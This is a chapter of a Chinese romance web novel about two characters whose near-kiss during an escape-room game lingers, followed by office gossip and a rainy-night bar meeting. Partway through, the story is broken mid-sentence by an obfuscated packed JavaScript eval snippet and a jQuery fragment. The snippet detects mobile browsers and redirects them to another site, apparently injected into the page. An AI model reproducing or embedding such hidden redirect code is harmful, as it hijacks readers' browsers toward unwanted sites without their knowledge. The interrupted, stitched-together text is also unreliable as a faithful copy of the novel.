游戏结束后，一行人围坐复盘，从开头捋。谈到最后一环的单人任务时，他和祝百岁默契对视，又默契略过柜中种种。
无人知晓心跳在柜中串联、同频，也无人知道，那极度惊恐的分秒里，呼吸缠绵，仅差一点就亲吻上。
游戏结束后，宴桉再回忆，庆幸好在没逾界。可梦里，一场接一场延续未做完的梦，分明是在遗憾。
尤其余韵尚足时，宴桉一连好几天梦见相关元素，水滴声、潮湿霉味、高跟鞋声、以及祝百岁。
梦境编排凌乱，场景混杂，无论怎么变换，离不开陈旧柜子。
他和她依旧紧贴，呼吸扑洒、交换、眼神闪烁、飘忽、他在晦涩夜色下，看清她的穿着打扮，一条肉桂粉紧身裙，一头波浪卷发。
是他乱心神，先举白旗，一把掐住腰臀，而另一手叩住手腕，灼烫呼吸寻迹而至，这一次不再有克制，攻势猛烈、覆盖上柔软湿润的唇......
这次，没有NPC中断场面，绵长热吻变激烈，变混乱，两具热烈碰撞的身体失去重心，向后倒，身后不再是柜体，空无一物、好似悬崖...不，是他的卧室，是熟悉万分的床榻。
每一次梦到这里就戛然而止，他总会醒来，静滞几秒让意识归位，再掀被子去浴室。
——
密室游戏，似乎只在宴桉身上留有后劲，祝百岁没有，结束就是翻篇，转头就有其他情绪占据心神。
比如有天，祝百岁垂头丧气从主任办公室回来，磁场太低，低到陈景棠一眼察觉，关心情况，她未及时答，他胡乱猜，被老板骂了？被患者投诉了？还是论文被否了？
她身心俱疲，仰头长叹，思考退学步骤。
陈景棠对这副神情很熟悉，“老板说什么了，被打击成这样？”
“哎...熬吧...再不济就我这样，延毕一年、两年、三年......这辈子就过去了，好熬。”
陈景棠脑补出导师的各类刻薄尖酸言语，才叫没心没肺的祝百岁成这般。但实际上，她只是进办公室提交资料就出来，并未过多沟通。
这般模样，是因三天前的课题组进展汇报上，主任敏锐指出实验进展中一个致命问题，意味着三个月的实验，全部作废。
她备受打击，心头好似被大石板压住，做什么事都能瞬间想起糟糕烦心的实验。
他抽动唇角，“师妹，你的反射弧打结了？”
当时他在场，主任指出问题，她鬼哭狼嚎几声，就嘻嘻哈哈和大伙吃饭去了。
这时，有人进来找陈景棠，打断两人对话，祝百岁并未过多留意，继续伤春悲秋。只是笑声太满，溢出来，灌进她的耳朵，她才转动办公椅，面向他们。
对方开玩笑，左一句景棠哥还好有你在，右一句能介绍我和嫂子认识吗，学习择偶目光。
祝百岁面无表情审视，对方爽朗大笑之际余光一瞥，并无收敛。
等人走后，祝百岁向陈景棠打听。
对方是陈景棠轮转科室时认识的同事，关系不错，这次来找他，是因几天后他们要一同去邻省学习，她要上台汇报，特来讨要经验。
祝百岁提醒：“虽然房子不是控制欲强的女朋友，但你自己还是注意一下和异性的界限，以免引起不必要的麻烦。”
陈景棠不以为意，刚才她全程听到看到，聊天内容没有不妥当，更无肢体接触，这样的提醒侧面说明对他的不信任，他反驳，“上次，宴桉也这么说，但是！真没什么，别乱脑补。”
上次当宴桉面接一通电话，对方只是叫他发PPT参考，仅此而已，宴桉就直说她意图不纯，叫他注意影响。
陈景棠感叹，反倒是这些恋爱经验极少的人草木皆兵，见风就是雨。祝百岁欲反驳，但她发现华点，“他？恋爱经验极少？”
祝百岁双脚划桨，蹬办公椅怼他面前，“可否详细一说？”
能是多年友人，自有可取之处，陈景棠装傻充愣、无论从哪个方向攻克，他的嘴都闭得严实，说不知道不清楚。
越是这般，越是搅浓她的好奇心。
可后来一段时间都没再碰面，再浓郁的好奇心也会淡去，偶尔想起这人，除了好奇情史，更多是思考不再见的原因，是他在周密避让还是机缘寡淡？
对于此，略有疑问，不深究，日渐一日淡忘这人后，无意间看到他的照片，又翻涌起浓厚兴趣，潜意识滋生出难以察觉的念头。
那天是办公室里，祝百岁和同事聊起健身话题。
适当健身吸引异性，过度健身吸引同性、男人频繁发健身自拍是什么心理？有关此引发的话题四面八方延展。
几个女人八卦心上来，翻着邻科室同事的健身照赏析、再各自掏出见过欣赏度最高的肌肉男，由八卦闲聊变成帅哥鉴赏大赛、要求是非明星、
网络的可操作空间太强，哪一张照片拿出来，祝百岁都摇头、
长相差意思，身材更差意思，除了满屏溢出来的自信，什么都没看到。其他同事统一战线，皆认为可以了，普通人里的天花板了、人要懂得知足。
祝百岁舌战群儒，企图说服她们。
女同事把陈景棠拉进来，同性的公平公正目光、哪知，陈景棠加入祝百岁的阵营，玩笑要带她们看点好的，抛出论点，寻论据支撑，他点进群聊，翻起照片。
所有目光齐刷刷落在一方屏幕上，见他点开群聊、上滑、越过诸多聊天框，定点、再打开照片，向大家展示。
同事惊呼，质问陈景棠：“你朋友？真的假的，怎么从没听你说过？怕我们惦记？做什么的？模特还是十八线艺人？”
女同事三连问，结婚了吗？有对象吗？能介绍给我吗？
以前从未听闻陈景棠身旁有人间绝色，诧异而贪恋地接过手机，放大照片看了又看。
顶光似明月，照亮沟壑和山谷，肌群的轮廓彰显美学标准、目光往上，是略湿的发梢，挑衅上扬的唇角，以及故意用力的手，青筋蜿蜒而下。
相比其他人，祝百岁最为淡定，这反应在同事搜索‘宴桉’及相关联词汇后，有了新的解读。
因为顾及她，一众花痴吹捧声渐弱，同事安慰拍她的肩，“都过去了，得罪就得罪了，就算张贴追杀令，时效也过了。”
“什么？”
祝百岁没有进入她们设立的语境，只是出神在想，如何忽悠陈景棠把这张照片发给她。
——
九月末时，浓郁秋意被凉风裹挟，也藏进阵阵秋雨。
有天夜里，从实验室出来的祝百岁接到陈景棠电话，拜托她帮忙寻房闻叙，小情侣吵架，陈景棠远在邻省参加峰会，远水救不了近火，只得拜托友人。
她因实验不顺，心头结郁，再得知吵架缘由是曾提醒过的绿茶干涉，数落陈景棠，不帮他收拾烂摊子。
挂断后联系房闻叙，却发现失联关机，担忧混进第一声电闪雷鸣，并渐渐加重。
风卷起窗帘，雨滴砸下来，终究是气话，祝百岁做不到冷漠旁观，拿上钥匙出门，同时与他沟通。
陈景棠在她挂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291003|195569||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
断电话后，软磨硬泡将宴桉叫起来，其实可以不用她出去，不安全，他在电话那头劝阻。
只是祝百岁本就睡不着，再因担忧，出去看看也无妨。
宴桉不了解房闻叙，有祝百岁一起，不至于无头苍蝇，这么一想，他不再劝阻，冒风险请求宴桉去接她。
于是，密室后的再碰面，是在深夜暴雨时分。
时间不对、场景不对，彼此情绪都默契地冷漠。尤其是她独自行动，宴桉两次扑空后才寻到她，颇为不耐。
她被雨淋了透，成落汤鸡，上车门一关，被抛过来的毛巾盖住头，很显然带情绪的动作，她却没反应，只是默默扯下擦拭。
如果是往常，她会反击。
宴桉第一秒察觉她的情绪往下，收敛戾气，沉默以待。
一时间，在两人之间，唯独雨刮器拼命工作，摩擦玻璃声。雨大到难以前行，宴桉没同她商量，路边寻了最近的酒店，驱车至停车场避雨。
他不问她意见，停好才通知，开间套房，淋雨后及时洗澡，避免着凉。
祝百岁没答，解开安全带下车，意外发现停车场有一家bar的入口，亦无视他，转向径直走过去。
宴桉无奈，却只能跟着，落座、点单。
她环视四周，打量环境。
这家爵士乐以复古工业风为主调，暖黄调光线营造出神秘又梦幻的氛围。
?鼓点、贝斯、钢琴和小号交织，形成漩涡卷走空虚。人不多，大多是不愿归家的年轻人寻个精神庇护所。
她选了坐在乐队三点钟方向的位置，点了两杯酒。
宴桉接受这件事——小酌等雨停、
反正暴雨难行，开个套房面面相觑，倒不如小酌听爵士乐，音乐不错，身处这个氛围，潜意识默等着那杯饮品、
却没想，她点酒时，并未将他纳入行列，两杯都只落她面前，没有往对面挪的意思。
宴桉看着对面，确认这件事后笑了声，叫来服务生要酒单，点一杯无酒精饮料，悠闲小酌。
祝百岁没他这般心思，在音乐声里抽出耳机线带上，思绪投进手机，与世隔绝。
没一会儿，她从屏幕移开，“不用找了，她回公司加班了。”
正好、他可以放开点酒了。
祝百岁持续手机沟通，转达好友的意思。
房闻叙不想理陈景棠，叫她截图：我和学长在酒吧里小酌畅谈人生，公共场所，正经地、绝无半点暧昧、
祝百岁截图给陈景棠，陈景棠问她：【她是在以牙还牙吗？】
?【我确实冤枉好吧、她是来敲我房门了，只是借东西，我一没让她进去，二没过界动作话语，她这算什么？大半夜让所有人担心，和别的男人在夜店厮混？】
她没回，摁灭屏幕，细细品漂亮酒，喝了酒，身体暖了起来，情绪也不再低沉。
表演者换了两个，音乐转而轻快悠扬，她扯下一边耳机，听了半曲，伸手碰他的高脚杯，“干杯。”
宴桉没有顺势举起酒杯，双手环抱胸前，纹丝不动。
她漫不经心问：“你酒量好吗？几杯倒？”
“我大概八两白酒，一瓶威士忌。”
只有她自言自语，只是她并不在意，话音急转，“我昨天才发现，你把我删了？”
他没想到她会问，也没打算回答，以一种心知肚明、明知故问的眼神看向她。
她好似恍然大悟：“你很介意那天柜子里的事吗？”
“可是...是你先主动的、”